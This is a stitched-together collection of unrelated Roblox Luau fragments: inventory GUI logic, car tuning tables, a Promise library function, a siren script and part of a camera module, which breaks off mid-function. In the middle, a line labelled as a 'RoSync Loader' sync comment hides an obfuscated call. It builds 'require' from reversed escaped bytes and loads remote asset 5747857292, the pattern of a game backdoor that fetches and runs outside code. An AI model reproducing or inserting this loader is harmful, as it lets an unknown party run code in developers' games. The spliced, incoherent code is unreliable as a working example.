= tick() SlotFrame.Position = startPoint SlotFrame.Parent = startParent SlotFrame.BorderSizePixel = 0 InventoryIcon:unlock() -- Restore height SlotFrame.ZIndex = 1 ToolIcon.ZIndex = 1 ToolName.ZIndex = 1 if FFlagRobloxGuiSiblingZindexs then startParent.ZIndex = 1 end if SlotNumber then SlotNumber.ZIndex = 1 end if HighlightFrame then HighlightFrame.ZIndex = 1 for _, child : GuiObject in pairs(HighlightFrame:GetChildren()) do if child:IsA("GuiObject") then child.ZIndex = 1 end end end Dragging[SlotFrame] = nil -- Make sure the tool wasn't dropped if not slot.Tool then return end -- Check where we were dropped if CheckBounds(InventoryFrame, x, y) then if slot.Index <= NumberOfHotbarSlots then slot:MoveToInventory() end -- Check for double clicking on an inventory slot, to move into empty hotbar slot if slot.Index > NumberOfHotbarSlots and now - lastUpTime < DOUBLE_CLICK_TIME then if LowestEmptySlot then local myTool = slot.Tool slot:Clear() LowestEmptySlot:Fill(myTool) slot:Delete() end now = 0 -- Resets the timer end elseif CheckBounds(HotbarFrame, x, y) then local closest = {math.huge, nil} for i = 1, NumberOfHotbarSlots do local otherSlot = Slots[i] local offset = GetOffset(otherSlot.Frame, Vector2.new(x, y)) if offset < closest[1] then closest = {offset, otherSlot} end end local closestSlot = closest[2] if closestSlot ~= slot then slot:Swap(closestSlot) if slot.Index > NumberOfHotbarSlots then local tool = slot.Tool if not tool then -- Clean up after ourselves if we're an inventory slot that's now empty slot:Delete() else -- Moved inventory slot to hotbar slot, and gained a tool that needs to be unequipped if IsEquipped(tool) then --NOTE: HopperBin UnequipAllTools() end -- Also hide the inventory slot if we're showing results right now if ViewingSearchResults then slot.Frame.Visible = false slot.Frame.Parent = InventoryFrame end end end end else -- local tool = slot.Tool -- if tool.CanBeDropped then --TODO: HopperBins -- tool.Parent = workspace -- --TODO: Move away from character -- end if slot.Index <= NumberOfHotbarSlots then slot:MoveToInventory() --NOTE: Temporary end end lastUpTime = now end) end -- All ready! SlotFrame.Parent = parent Slots[index] = slot if index > NumberOfHotbarSlots then UpdateScrollingFrameCanvasSize() -- Scroll to new inventory slot, if we're open and not viewing search results if InventoryFrame.Visible and not ViewingSearchResults then local offset = ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y ScrollingFrame.CanvasPosition = Vector2.new(0, math.max(0, offset)) end end return slot end local function OnChildAdded(child) -- To Character or Backpack if not child:IsA('Tool') then --NOTE: HopperBin if child:IsA('Humanoid') and child.Parent == Character then Humanoid = child end return end local tool = child if tool.Parent == Character then ShowVRBackpackPopup() TimeOfLastToolChange = tick() end --TODO: Optimize / refactor / do something else if not StarterToolFound and tool.Parent == Character and not SlotsByTool[tool] then local starterGear = Player:FindFirstChild('StarterGear') if starterGear then if starterGear:FindFirstChild(tool.Name) then StarterToolFound = true local slot = LowestEmptySlot or MakeSlot(UIGridFrame) for i = slot.Index, 1, -1 do local curr = Slots[i] -- An empty slot, because above local pIndex = i - 1 if pIndex > 0 then local prev = Slots[pIndex] -- Guaranteed to be full, because above prev:Swap(curr) else curr:Fill(tool) end end -- Have to manually unequip a possibly equipped tool for _, child in pairs(Character:GetChildren()) do if child:IsA('Tool') and child ~= tool then child.Parent = Backpack end end AdjustHotbarFrames() return -- We're done here end end end -- The tool is either moving or new local slot = SlotsByTool[tool] if slot then slot:UpdateEquipView() else -- New! Put into lowest hotbar slot or new inventory slot slot = LowestEmptySlot or MakeSlot(UIGridFrame) slot:Fill(tool) if slot.Index <= NumberOfHotbarSlots and not InventoryFrame.Visible then AdjustHotbarFrames() end end end local function OnChildRemoved(child) -- From Character or Backpack if not child:IsA('Tool') then --NOTE: HopperBin return end local tool = child ShowVRBackpackPopup() TimeOfLastToolChange = tick() -- Ignore this event if we're just moving between the two local newParent = tool.Parent if newParent == Character or newParent == Backpack then return end local slot = SlotsByTool[tool] if slot then slot:Clear() if slot.Index > NumberOfHotbarSlots then -- Inventory slot slot:Delete() elseif not InventoryFrame.Visible then AdjustHotbarFrames() end end end local function OnCharacterAdded(character) -- First, clean up any old slots for i = #Slots, 1, -1 do local slot = Slots[i] if slot.Tool then slot:Clear() end if i > NumberOfHotbarSlots then slot:Delete() end end -- And any old Connections for _, conn in pairs(CharConns) do conn:Disconnect() end CharConns = {} -- Hook up the new character Character = character table.insert(CharConns, character.ChildRemoved:Connect(OnChildRemoved)) table.insert(CharConns, character.ChildAdded:Connect(OnChildAdded)) for _, child in pairs(character:GetChildren()) do OnChildAdded(child) end --NOTE: Humanoid is set inside OnChildAdded -- And the new backpack, when it gets here Backpack = Player:WaitForChild('Backpack') table.insert(CharConns, Backpack.ChildRemoved:Connect(OnChildRemoved)) table.insert(CharConns, Backpack.ChildAdded:Connect(OnChildAdded)) for _, child in pairs(Backpack:GetChildren()) do OnChildAdded(child) end AdjustHotbarFrames() end local function OnInputBegan(input, isProcessed) -- Pass through keyboard hotkeys when not typing into a TextBox and not disabled (except for the Drop key) if input.UserInputType == Enum.UserInputType.Keyboard and not TextBoxFocused and (WholeThingEnabled or input.KeyCode.Value == DROP_HOTKEY_VALUE) then local hotkeyBehavior = HotkeyFns[input.KeyCode.Value] if hotkeyBehavior then hotkeyBehavior(isProcessed) end end local inputType = input.UserInputType if not isProcessed then if inputType == Enum.UserInputType.MouseButton1 or inputType == Enum.UserInputType.Touch then if InventoryFrame.Visible then InventoryIcon:deselect() end end end end local function OnUISChanged(property) if property == 'KeyboardEnabled' or property == "VREnabled" then local on = UserInputService.KeyboardEnabled and not UserInputService.VREnabled for i = 1, NumberOfHotbarSlots do Slots[i]:TurnNumber(on) end end end local lastChangeToolInputObject = nil local lastChangeToolInputTime = nil local maxEquipDeltaTime = 0.06 local noOpFunc = function() end local selectDirection = Vector2.new(0,0) local hotbarVisible = false function unbindAllGamepadEquipActions() ContextActionService:UnbindAction("RBXBackpackHasGamepadFocus") ContextActionService:UnbindAction("RBXCloseInventory") end local function setHotbarVisibility(visible, isInventoryScreen) for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot and hotbarSlot.Frame and (isInventoryScreen or hotbarSlot.Tool) then hotbarSlot.Frame.Visible = visible end end end local function getInputDirection(inputObject) local buttonModifier = 1 if inputObject.UserInputState == Enum.UserInputState.End then buttonModifier = -1 end if inputObject.KeyCode == Enum.KeyCode.Thumbstick1 then local magnitude = inputObject.Position.magnitude if magnitude > 0.98 then local normalizedVector = Vector2.new(inputObject.Position.x / magnitude, -inputObject.Position.y / magnitude) selectDirection = normalizedVector else selectDirection = Vector2.new(0,0) end elseif inputObject.KeyCode == Enum.KeyCode.DPadLeft then selectDirection = Vector2.new(selectDirection.x - 1 * buttonModifier, selectDirection.y) elseif inputObject.KeyCode == Enum.KeyCode.DPadRight then selectDirection = Vector2.new(selectDirection.x + 1 * buttonModifier, selectDirection.y) elseif inputObject.KeyCode == Enum.KeyCode.DPadUp then selectDirection = Vector2.new(selectDirection.x, selectDirection.y - 1 * buttonModifier) elseif inputObject.KeyCode == Enum.KeyCode.DPadDown then selectDirection = Vector2.new(selectDirection.x, selectDirection.y + 1 * buttonModifier) else selectDirection = Vector2.new(0,0) end return selectDirection end local selectToolExperiment = function(actionName, inputState, inputObject) local inputDirection = getInputDirection(inputObject) if inputDirection == Vector2.new(0,0) then return end local angle = math.atan2(inputDirection.y, inputDirection.x) - math.atan2(-1, 0) if angle < 0 then angle = angle + (math.pi * 2) end local quarterPi = (math.pi * 0.25) local index = (angle/quarterPi) + 1 index = math.floor(index + 0.5) -- round index to whole number if index > NumberOfHotbarSlots then index = 1 end if index > 0 then local selectedSlot = Slots[index] if selectedSlot and selectedSlot.Tool and not selectedSlot:IsEquipped() then selectedSlot:Select() end else UnequipAllTools() end end changeToolFunc = function(actionName, inputState, inputObject) if inputState ~= Enum.UserInputState.Begin then return end if lastChangeToolInputObject then if (lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonR1 and inputObject.KeyCode == Enum.KeyCode.ButtonL1) or (lastChangeToolInputObject.KeyCode == Enum.KeyCode.ButtonL1 and inputObject.KeyCode == Enum.KeyCode.ButtonR1) then if (tick() - lastChangeToolInputTime) <= maxEquipDeltaTime then UnequipAllTools() lastChangeToolInputObject = inputObject lastChangeToolInputTime = tick() return end end end lastChangeToolInputObject = inputObject lastChangeToolInputTime = tick() delay(maxEquipDeltaTime, function() if lastChangeToolInputObject ~= inputObject then return end local moveDirection = 0 if (inputObject.KeyCode == Enum.KeyCode.ButtonL1) then moveDirection = -1 else moveDirection = 1 end for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot:IsEquipped() then local newSlotPosition = moveDirection + i local hitEdge = false if newSlotPosition > NumberOfHotbarSlots then newSlotPosition = 1 hitEdge = true elseif newSlotPosition < 1 then newSlotPosition = NumberOfHotbarSlots hitEdge = true end local origNewSlotPos = newSlotPosition while not Slots[newSlotPosition].Tool do newSlotPosition = newSlotPosition + moveDirection if newSlotPosition == origNewSlotPos then return end if newSlotPosition > NumberOfHotbarSlots then newSlotPosition = 1 hitEdge = true elseif newSlotPosition < 1 then newSlotPosition = NumberOfHotbarSlots hitEdge = true end end if hitEdge then UnequipAllTools() lastEquippedSlot = nil else Slots[newSlotPosition]:Select() end return end end if lastEquippedSlot and lastEquippedSlot.Tool then lastEquippedSlot:Select() return end local startIndex = moveDirection == -1 and NumberOfHotbarSlots or 1 local endIndex = moveDirection == -1 and 1 or NumberOfHotbarSlots for i = startIndex, endIndex, moveDirection do if Slots[i].Tool then Slots[i]:Select() return end end end) end function getGamepadSwapSlot() for i = 1, #Slots do if Slots[i].Frame.BorderSizePixel > 0 then return Slots[i] end end end function changeSlot(slot) local swapInVr = not VRService.VREnabled or InventoryFrame.Visible if slot.Frame == GuiService.SelectedObject and swapInVr then local currentlySelectedSlot = getGamepadSwapSlot() if currentlySelectedSlot then currentlySelectedSlot.Frame.BorderSizePixel = 0 if currentlySelectedSlot ~= slot then slot:Swap(currentlySelectedSlot) VRInventorySelector.SelectionImageObject.Visible = false if slot.Index > NumberOfHotbarSlots and not slot.Tool then if GuiService.SelectedObject == slot.Frame then GuiService.SelectedObject = currentlySelectedSlot.Frame end slot:Delete() end if currentlySelectedSlot.Index > NumberOfHotbarSlots and not currentlySelectedSlot.Tool then if GuiService.SelectedObject == currentlySelectedSlot.Frame then GuiService.SelectedObject = slot.Frame end currentlySelectedSlot:Delete() end end else local startSize = slot.Frame.Size local startPosition = slot.Frame.Position slot.Frame:TweenSizeAndPosition(startSize + UDim2.new(0, 10, 0, 10), startPosition - UDim2.new(0, 5, 0, 5), Enum.EasingDirection.Out, Enum.EasingStyle.Quad, .1, true, function() slot.Frame:TweenSizeAndPosition(startSize, startPosition, Enum.EasingDirection.In, Enum.EasingStyle.Quad, .1, true) end) slot.Frame.BorderSizePixel = 3 VRInventorySelector.SelectionImageObject.Visible = true end else slot:Select() VRInventorySelector.SelectionImageObject.Visible = false end end function vrMoveSlotToInventory() if not VRService.VREnabled then return end local currentlySelectedSlot = getGamepadSwapSlot() if currentlySelectedSlot and currentlySelectedSlot.Tool then currentlySelectedSlot.Frame.BorderSizePixel = 0 currentlySelectedSlot:MoveToInventory() VRInventorySelector.SelectionImageObject.Visible = false end end function enableGamepadInventoryControl() local goBackOneLevel = function(actionName, inputState, inputObject) if inputState ~= Enum.UserInputState.Begin then return end local selectedSlot = getGamepadSwapSlot() if selectedSlot then local selectedSlot = getGamepadSwapSlot() if selectedSlot then selectedSlot.Frame.BorderSizePixel = 0 return end elseif InventoryFrame.Visible then InventoryIcon:deselect() end end ContextActionService:BindAction("RBXBackpackHasGamepadFocus", noOpFunc, false, Enum.UserInputType.Gamepad1) ContextActionService:BindAction("RBXCloseInventory", goBackOneLevel, false, Enum.KeyCode.ButtonB, Enum.KeyCode.ButtonStart) -- Gaze select will automatically select the object for us! if not UseGazeSelection() then GuiService.SelectedObject = HotbarFrame:FindFirstChild("1") end end function disableGamepadInventoryControl() unbindAllGamepadEquipActions() for i = 1, NumberOfHotbarSlots do local hotbarSlot = Slots[i] if hotbarSlot and hotbarSlot.Frame then hotbarSlot.Frame.BorderSizePixel = 0 end end if GuiService.SelectedObject and GuiService.SelectedObject:IsDescendantOf(MainFrame) then GuiService.SelectedObject = nil end end local function bindBackpackHotbarAction() if WholeThingEnabled and not GamepadActionsBound then GamepadActionsBound = true ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1) end end local function unbindBackpackHotbarAction() disableGamepadInventoryControl() GamepadActionsBound = false ContextActionService:UnbindAction("RBXHotbarEquip") end function gamepadDisconnected() GamepadEnabled = false disableGamepadInventoryControl() end function gamepadConnected() GamepadEnabled = true GuiService:AddSelectionParent("RBXBackpackSelection", MainFrame) if FullHotbarSlots >= 1 then bindBackpackHotbarAction() end if InventoryFrame.Visible then enableGamepadInventoryControl() end end local function OnIconChanged(enabled) -- Check for enabling/disabling the whole thing enabled = enabled and StarterGui:GetCore("TopbarEnabled") InventoryIcon:setEnabled(enabled and not GuiService.MenuIsOpen) WholeThingEnabled = enabled MainFrame.Visible = enabled -- Eat/Release hotkeys (Doesn't affect UserInputService) for _, keyString in pairs(HotkeyStrings) do if enabled then --GuiService:AddKey(keyString) else --GuiService:RemoveKey(keyString) end end if enabled then if FullHotbarSlots >=1 then bindBackpackHotbarAction() end else unbindBackpackHotbarAction() end end local function MakeVRRoundButton(name, image) local newButton = NewGui('ImageButton', name) newButton.Size = UDim2.new(0, 40, 0, 40) newButton.Image = "rbxasset://textures/ui/Keyboard/close_button_background.png"; local buttonIcon = NewGui('ImageLabel', 'Icon') buttonIcon.Size = UDim2.new(0.5,0,0.5,0); buttonIcon.Position = UDim2.new(0.25,0,0.25,0); buttonIcon.Image = image; buttonIcon.Parent = newButton; local buttonSelectionObject = NewGui('ImageLabel', 'Selection') buttonSelectionObject.Size = UDim2.new(0.9,0,0.9,0); buttonSelectionObject.Position = UDim2.new(0.05,0,0.05,0); buttonSelectionObject.Image = "rbxasset://textures/ui/Keyboard/close_button_selection.png"; newButton.SelectionImageObject = buttonSelectionObject return newButton, buttonIcon, buttonSelectionObject end
--[[Engine]]
--Torque Curve Tune.Horsepower = 2000 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 4.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--// Localize
os = service.Localize(os) math = service.Localize(math) table = service.Localize(table) string = service.Localize(string) coroutine = service.Localize(coroutine) Instance = service.Localize(Instance) Vector2 = service.Localize(Vector2) Vector3 = service.Localize(Vector3) CFrame = service.Localize(CFrame) UDim2 = service.Localize(UDim2) UDim = service.Localize(UDim) Ray = service.Localize(Ray) Rect = service.Localize(Rect) Faces = service.Localize(Faces) Color3 = service.Localize(Color3) NumberRange = service.Localize(NumberRange) NumberSequence = service.Localize(NumberSequence) NumberSequenceKeypoint = service.Localize(NumberSequenceKeypoint) ColorSequenceKeypoint = service.Localize(ColorSequenceKeypoint) PhysicalProperties = service.Localize(PhysicalProperties) ColorSequence = service.Localize(ColorSequence) Region3int16 = service.Localize(Region3int16) Vector3int16 = service.Localize(Vector3int16) BrickColor = service.Localize(BrickColor) TweenInfo = service.Localize(TweenInfo) Axes = service.Localize(Axes) task = service.Localize(task)
-- If the platform is too slow and moveDelay is too fast, then the platform might not reach the destination in time.
hideDestinationBlocks = true -- If you set this to true, then the destination blocks will be invisible when you play.
--[[ Last synced 10/14/2020 09:33 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[Transmission]]
Tune.TransModes = {"Semi"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--- Takes an array and flips its values into dictionary keys with value of true.
function Util.MakeDictionary(array) local dictionary = {} for i = 1, #array do dictionary[array[i]] = true end return dictionary end
--[=[ Iterates serially over the given an array of values, calling the predicate callback on each value before continuing. If the predicate returns a Promise, we wait for that Promise to resolve before moving on to the next item in the array. :::info `Promise.each` is similar to `Promise.all`, except the Promises are ran in order instead of all at once. But because Promises are eager, by the time they are created, they're already running. Thus, we need a way to defer creation of each Promise until a later time. The predicate function exists as a way for us to operate on our data instead of creating a new closure for each Promise. If you would prefer, you can pass in an array of functions, and in the predicate, call the function and return its return value. ::: ```lua Promise.each({ "foo", "bar", "baz", "qux" }, function(value, index) return Promise.delay(1):andThen(function() print(("%d) Got %s!"):format(index, value)) end) end) --[[ (1 second passes) > 1) Got foo! (1 second passes) > 2) Got bar! (1 second passes) > 3) Got baz! (1 second passes) > 4) Got qux! ]] ``` If the Promise a predicate returns rejects, the Promise from `Promise.each` is also rejected with the same value. If the array of values contains a Promise, when we get to that point in the list, we wait for the Promise to resolve before calling the predicate with the value. If a Promise in the array of values is already Rejected when `Promise.each` is called, `Promise.each` rejects with that value immediately (the predicate callback will never be called even once). If a Promise in the list is already Cancelled when `Promise.each` is called, `Promise.each` rejects with `Promise.Error(Promise.Error.Kind.AlreadyCancelled`). If a Promise in the array of values is Started at first, but later rejects, `Promise.each` will reject with that value and iteration will not continue once iteration encounters that value. Returns a Promise containing an array of the returned/resolved values from the predicate for each item in the array of values. If this Promise returned from `Promise.each` rejects or is cancelled for any reason, the following are true: - Iteration will not continue. - Any Promises within the array of values will now be cancelled if they have no other consumers. - The Promise returned from the currently active predicate will be cancelled if it hasn't resolved yet. @since 3.0.0 @param list {T | Promise<T>} @param predicate (value: T, index: number) -> U | Promise<U> @return Promise<{U}> ]=]
function Promise.each(list, predicate) assert(type(list) == "table", string.format(ERROR_NON_LIST, "Promise.each")) assert(isCallable(predicate), string.format(ERROR_NON_FUNCTION, "Promise.each")) return Promise._new(debug.traceback(nil, 2), function(resolve, reject, onCancel) local results = {} local promisesToCancel = {} local cancelled = false local function cancel() for _, promiseToCancel in ipairs(promisesToCancel) do promiseToCancel:cancel() end end onCancel(function() cancelled = true cancel() end) -- We need to preprocess the list of values and look for Promises. -- If we find some, we must register our andThen calls now, so that those Promises have a consumer -- from us registered. If we don't do this, those Promises might get cancelled by something else -- before we get to them in the series because it's not possible to tell that we plan to use it -- unless we indicate it here. local preprocessedList = {} for index, value in ipairs(list) do if Promise.is(value) then if value:getStatus() == Promise.Status.Cancelled then cancel() return reject(Error.new({ error = "Promise is cancelled", kind = Error.Kind.AlreadyCancelled, context = string.format( "The Promise that was part of the array at index %d passed into Promise.each was already cancelled when Promise.each began.\n\nThat Promise was created at:\n\n%s", index, value._source ), })) elseif value:getStatus() == Promise.Status.Rejected then cancel() return reject(select(2, value:await())) end -- Chain a new Promise from this one so we only cancel ours local ourPromise = value:andThen(function(...) return ... end) table.insert(promisesToCancel, ourPromise) preprocessedList[index] = ourPromise else preprocessedList[index] = value end end for index, value in ipairs(preprocessedList) do if Promise.is(value) then local success success, value = value:await() if not success then cancel() return reject(value) end end if cancelled then return end local predicatePromise = Promise.resolve(predicate(value, index)) table.insert(promisesToCancel, predicatePromise) local success, result = predicatePromise:await() if not success then cancel() return reject(result) end results[index] = result end resolve(results) end) end
--For this script to work put this script and a mesh into the brick you want the mesh to be in and chnage the numbers that it asks you to to get it to work correctly.
while true do script.Parent.Mesh.Scale = Vector3.new(1, 1, 1) --Replace the zeros with the numbers that you want the mesh scale to change to. wait(.5) --Change the number to how long you want the script to wait before it goes back to the original scale. script.Parent.Mesh.Scale = Vector3.new(1, 2, 1) --Replace these zeros with the scale of the mesh it was originally. wait(.5) --Same as the other one, change the number to how long the script waits until it goes back to the beginning scale numbers. script.Parent.Mesh.Scale = Vector3.new(1, 3, 1) --Replace these zeros with the scale of the mesh it was originally. wait(.5) script.Parent.Mesh.Scale = Vector3.new(1, 4, 1) --Replace these zeros with the scale of the mesh it was originally. wait(.5) end
--// # key, Priority
mouse.KeyDown:connect(function(key) if key=="g" then if veh.Lightbar.middle.Priority.IsPlaying == true then veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Yelp:Stop() veh.Lightbar.middle.Priority:Stop() script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62) else veh.Lightbar.middle.Wail:Stop() veh.Lightbar.middle.Yelp:Stop() veh.Lightbar.middle.Priority:Play() script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(215, 135, 110) script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62) script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62) end end end)
--[[ The Module ]]
-- local BaseCamera = {} BaseCamera.__index = BaseCamera function BaseCamera.new() local self = setmetatable({}, BaseCamera) -- So that derived classes have access to this self.FIRST_PERSON_DISTANCE_THRESHOLD = FIRST_PERSON_DISTANCE_THRESHOLD self.cameraType = nil self.cameraMovementMode = nil self.lastCameraTransform = nil self.lastUserPanCamera = tick() self.humanoidRootPart = nil self.humanoidCache = {} -- Subject and position on last update call self.lastSubject = nil self.lastSubjectPosition = Vector3.new(0, 5, 0) self.lastSubjectCFrame = CFrame.new(self.lastSubjectPosition) -- These subject distance members refer to the nominal camera-to-subject follow distance that the camera -- is trying to maintain, not the actual measured value. -- The default is updated when screen orientation or the min/max distances change, -- to be sure the default is always in range and appropriate for the orientation. self.defaultSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.currentSubjectDistance = math.clamp(DEFAULT_DISTANCE, player.CameraMinZoomDistance, player.CameraMaxZoomDistance) self.inFirstPerson = false self.inMouseLockedMode = false self.portraitMode = false self.isSmallTouchScreen = false -- Used by modules which want to reset the camera angle on respawn. self.resetCameraAngle = true self.enabled = false -- Input Event Connections self.PlayerGui = nil self.cameraChangedConn = nil self.viewportSizeChangedConn = nil -- VR Support self.shouldUseVRRotation = false self.VRRotationIntensityAvailable = false self.lastVRRotationIntensityCheckTime = 0 self.lastVRRotationTime = 0 self.vrRotateKeyCooldown = {} self.cameraTranslationConstraints = Vector3.new(1, 1, 1) self.humanoidJumpOrigin = nil self.trackingHumanoid = nil self.cameraFrozen = false self.subjectStateChangedConn = nil self.gamepadZoomPressConnection = nil -- Mouse locked formerly known as shift lock mode self.mouseLockOffset = ZERO_VECTOR3 -- Initialization things used to always execute at game load time, but now these camera modules are instantiated -- when needed, so the code here may run well after the start of the game if player.Character then self:OnCharacterAdded(player.Character) end player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) if self.cameraChangedConn then self.cameraChangedConn:Disconnect() end self.cameraChangedConn = workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(function() self:OnCurrentCameraChanged() end) self:OnCurrentCameraChanged() if self.playerCameraModeChangeConn then self.playerCameraModeChangeConn:Disconnect() end self.playerCameraModeChangeConn = player:GetPropertyChangedSignal("CameraMode"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.minDistanceChangeConn then self.minDistanceChangeConn:Disconnect() end self.minDistanceChangeConn = player:GetPropertyChangedSignal("CameraMinZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.maxDistanceChangeConn then self.maxDistanceChangeConn:Disconnect() end self.maxDistanceChangeConn = player:GetPropertyChangedSignal("CameraMaxZoomDistance"):Connect(function() self:OnPlayerCameraPropertyChange() end) if self.playerDevTouchMoveModeChangeConn then self.playerDevTouchMoveModeChangeConn:Disconnect() end self.playerDevTouchMoveModeChangeConn = player:GetPropertyChangedSignal("DevTouchMovementMode"):Connect(function() self:OnDevTouchMovementModeChanged() end) self:OnDevTouchMovementModeChanged() -- Init if self.gameSettingsTouchMoveMoveChangeConn then self.gameSettingsTouchMoveMoveChangeConn:Disconnect() end self.gameSettingsTouchMoveMoveChangeConn = UserGameSettings:GetPropertyChangedSignal("TouchMovementMode"):Connect(function() self:OnGameSettingsTouchMovementModeChanged() end) self:OnGameSettingsTouchMovementModeChanged() -- Init UserGameSettings:SetCameraYInvertVisible() UserGameSettings:SetGamepadCameraSensitivityVisible() self.hasGameLoaded = game:IsLoaded() if not self.hasGameLoaded then self.gameLoadedConn = game.Loaded:Connect(function() self.hasGameLoaded = true self.gameLoadedConn:Disconnect() self.gameLoadedConn = nil end) end self:OnPlayerCameraPropertyChange() return self end function BaseCamera:GetModuleName() return "BaseCamera" end function BaseCamera:OnCharacterAdded(char) self.resetCameraAngle = self.resetCameraAngle or self:GetEnabled() self.humanoidRootPart = nil if UserInputService.TouchEnabled then self.PlayerGui = player:WaitForChild("PlayerGui") for _, child in ipairs(char:GetChildren()) do if child:IsA("Tool") then self.isAToolEquipped = true end end char.ChildAdded:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = true end end) char.ChildRemoved:Connect(function(child) if child:IsA("Tool") then self.isAToolEquipped = false end end) end end function BaseCamera:GetHumanoidRootPart(): BasePart if not self.humanoidRootPart then if player.Character then local humanoid = player.Character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidRootPart = humanoid.RootPart end end end return self.humanoidRootPart end function BaseCamera:GetBodyPartToFollow(humanoid: Humanoid, isDead: boolean) -- BasePart -- If the humanoid is ragdolled, prefer the lower torso if one still exists as a sibling of the humanoid if HUMANOID_STATES[humanoid:GetState()] then local character = humanoid.Parent if character and character:IsA("Model") then local torso = nil if humanoid.RigType == Enum.HumanoidRigType.R15 then torso = character:FindFirstChild("LowerTorso") else torso = character:FindFirstChild("Torso") end return torso or humanoid.RootPart end end return humanoid.RootPart end function BaseCamera:GetSubjectCFrame(): CFrame local result = self.lastSubjectCFrame local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return result end if cameraSubject:IsA("Humanoid") then local humanoid = cameraSubject local humanoidIsDead = HUMANOID_STATES[humanoid:GetState()] local bodyPartToFollow = humanoid.RootPart -- If the humanoid is dead, prefer their head part as a follow target, if it exists if humanoidIsDead then if humanoid.Parent and humanoid.Parent:IsA("Model") then local torso = nil if humanoid.RigType == Enum.HumanoidRigType.R15 then torso = humanoid.Parent:FindFirstChild("LowerTorso") else torso = humanoid.Parent:FindFirstChild("Torso") end bodyPartToFollow = torso or bodyPartToFollow end end if bodyPartToFollow and bodyPartToFollow:IsA("BasePart") then local heightOffset if humanoid.RigType == Enum.HumanoidRigType.R15 then if humanoid.AutomaticScalingEnabled then heightOffset = R15_HEAD_OFFSET local rootPart = humanoid.RootPart if bodyPartToFollow == rootPart then local rootPartSizeOffset = (rootPart.Size.Y - HUMANOID_ROOT_PART_SIZE.Y)/2 heightOffset = heightOffset + Vector3.new(0, rootPartSizeOffset, 0) end else heightOffset = R15_HEAD_OFFSET_NO_SCALING end else heightOffset = HEAD_OFFSET end if humanoidIsDead then heightOffset = DEAD_OFFSET result = bodyPartToFollow.CFrame*CFrame.new(0,-bodyPartToFollow.Size.Y/2,0) + (heightOffset + humanoid.CameraOffset) else result = bodyPartToFollow.CFrame*CFrame.new(heightOffset + humanoid.CameraOffset) end end elseif cameraSubject:IsA("BasePart") then result = cameraSubject.CFrame elseif cameraSubject:IsA("Model") then -- Model subjects are expected to have a PrimaryPart to determine orientation if cameraSubject.PrimaryPart then result = cameraSubject:GetPrimaryPartCFrame() else result = CFrame.new() end end if result then self.lastSubjectCFrame = result end return result end function BaseCamera:GetSubjectVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.Velocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.Velocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return primaryPart.Velocity end end return ZERO_VECTOR3 end function BaseCamera:GetSubjectRotVelocity(): Vector3 local camera = workspace.CurrentCamera local cameraSubject = camera and camera.CameraSubject if not cameraSubject then return ZERO_VECTOR3 end if cameraSubject:IsA("BasePart") then return cameraSubject.RotVelocity elseif cameraSubject:IsA("Humanoid") then local rootPart = cameraSubject.RootPart if rootPart then return rootPart.RotVelocity end elseif cameraSubject:IsA("Model") then local primaryPart = cameraSubject.PrimaryPart if primaryPart then return 